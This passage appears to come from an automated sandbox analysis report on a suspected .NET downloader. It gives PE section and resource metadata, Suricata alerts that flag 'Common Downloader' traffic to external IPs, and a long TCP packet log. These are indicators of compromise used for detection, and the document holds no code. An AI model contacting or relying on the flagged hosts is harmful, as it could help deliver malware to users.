IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xd54	0xe00	1b5cd94bc3f465507a4522e47e3ae005	False	0.576171875	data	5.296221235595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x596	0x600	c2c48fffe4b743b455a939b248e37517	False	0.4114583333333333	data	4.04909219698079	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	924baa91927078100f7d805d89e40f45	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x40a0	0x30c	data			0.4256410256410256
RT_MANIFEST	0x43ac	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-21T13:17:52.053900+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49922	193.122.130.0	80	TCP
2024-10-21T13:17:53.350646+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49922	193.122.130.0	80	TCP
2024-10-21T13:17:54.070231+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49940	188.114.96.3	443	TCP
2024-10-21T13:17:54.944395+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.9	49945	193.122.130.0	80	TCP
2024-10-21T13:17:55.678570+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49951	188.114.96.3	443	TCP
2024-10-21T13:17:57.165710+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49959	188.114.96.3	443	TCP
2024-10-21T13:18:00.359234+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49981	188.114.96.3	443	TCP
2024-10-21T13:18:02.282053+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49986	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 13:17:10.131139994 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:10.131182909 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:10.131336927 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:10.131865978 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:10.131887913 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:10.678941011 CEST	49675	443	192.168.2.9	23.206.229.209
Oct 21, 2024 13:17:10.678944111 CEST	49676	443	192.168.2.9	23.206.229.209
Oct 21, 2024 13:17:10.866322041 CEST	49674	443	192.168.2.9	23.206.229.209
Oct 21, 2024 13:17:10.877286911 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:10.877437115 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:10.963704109 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:10.963732004 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:10.964024067 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.006906033 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.008924007 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.051333904 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.252553940 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.252573967 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.252580881 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.252590895 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.252618074 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.252671957 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.252701044 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.252726078 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.252757072 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.254698992 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.254719019 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.254791021 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.254808903 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.254848957 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.303781986 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 21, 2024 13:17:11.369899035 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.369920969 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.370136023 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.370165110 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.370213032 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.371506929 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.371526957 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.371598005 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.371612072 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.371656895 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.373102903 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.373125076 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.373199940 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.373213053 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.373256922 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.373271942 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.374777079 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.374797106 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.374919891 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.374933004 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.374977112 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.487088919 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.487109900 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.487209082 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.487241983 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.487287998 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.488202095 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.488219023 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.488272905 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.488292933 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.488312960 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.488332033 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.489126921 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.489145041 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.489188910 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.489198923 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.489227057 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.489248037 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.490158081 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.490175962 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.490236998 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.490248919 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.490291119 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.604013920 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.604036093 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.604114056 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.604146004 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.604182959 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.604199886 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.604430914 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.604446888 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.604491949 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.604501009 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.604527950 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.604559898 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.605047941 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.605066061 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.605098009 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.605108023 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.605118036 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.605159998 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.605169058 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.605180979 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.605207920 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.605236053 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.605799913 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.605818987 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.605829954 CEST	49706	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.605835915 CEST	443	49706	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.659051895 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.659101963 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.659163952 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.659523010 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.659534931 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.662405968 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.662442923 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.662503958 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.662610054 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.662621975 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.664345980 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.664378881 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.664432049 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.665625095 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.665637016 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.666744947 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.666784048 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.666825056 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.667026997 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.667037010 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.668504953 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.668521881 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:11.668576002 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.668673038 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:11.668680906 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.390737057 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.391423941 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.391460896 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.391942024 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.391948938 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.411231041 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.411531925 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.411901951 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.411936998 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.412041903 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.412059069 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.412350893 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.412360907 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.412504911 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.412511110 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.412830114 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.413132906 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.413150072 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.414479017 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.414489031 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.419418097 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.419848919 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.419867992 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.420288086 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.420293093 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.523003101 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.523196936 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.523253918 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.526880980 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.526906013 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.526947975 CEST	49710	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.526956081 CEST	443	49710	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.530932903 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.530996084 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.531075001 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.531235933 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.531250000 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.544922113 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.544946909 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.545006037 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.545053005 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.545094967 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.545389891 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.545407057 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.545417070 CEST	49711	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.545423031 CEST	443	49711	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.548084974 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.548130035 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.548208952 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.548403978 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.548415899 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.552496910 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.552943945 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.553009987 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.553040981 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.553057909 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.553072929 CEST	49708	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.553077936 CEST	443	49708	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.554033995 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.554060936 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.554106951 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.554127932 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.554162979 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.554765940 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.554771900 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.554785967 CEST	49709	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.554790020 CEST	443	49709	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.556202888 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.556247950 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.556328058 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.556463003 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.556477070 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.556657076 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.556674957 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.556725979 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.556811094 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.556819916 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.592156887 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.592184067 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.592246056 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.592320919 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.592354059 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.592566967 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.592591047 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.592605114 CEST	49707	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.592612982 CEST	443	49707	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.595269918 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.595308065 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:12.595397949 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.595596075 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:12.595606089 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.284997940 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.285809994 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.285842896 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.286488056 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.286499023 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.296933889 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.297559977 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.297571898 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.298295021 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.298300028 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.299774885 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.300316095 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.300339937 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.300504923 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.300827980 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.300837040 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.301188946 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.301198006 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.301300049 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.301305056 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.335783005 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.336419106 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.336443901 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.337110996 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.337116003 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.413974047 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.414046049 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.414114952 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.414412975 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.414441109 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.414454937 CEST	49714	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.414463043 CEST	443	49714	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.417740107 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.417788029 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.417865038 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.418056965 CEST	49717	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.418075085 CEST	443	49717	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.428350925 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.428416014 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.428472042 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.428833961 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.428848028 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.428857088 CEST	49713	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.428862095 CEST	443	49713	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.432143927 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.432205915 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.432256937 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.432450056 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.432455063 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.432466984 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.432471037 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.432497025 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.432533979 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.432600975 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.432724953 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.432735920 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.432796001 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.433403969 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.433458090 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.433490038 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.433490038 CEST	49712	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.433507919 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.433521032 CEST	443	49712	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.435935974 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.435965061 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.436038017 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.436130047 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.436157942 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.436180115 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.436192036 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.436218977 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.436291933 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.436310053 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.468045950 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.468307972 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.468364000 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.468409061 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.468431950 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.468445063 CEST	49716	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.468451023 CEST	443	49716	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.472161055 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.472204924 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:13.472271919 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:13.472472906 CEST	49721	443	192.168.2.9	13.107.246.45
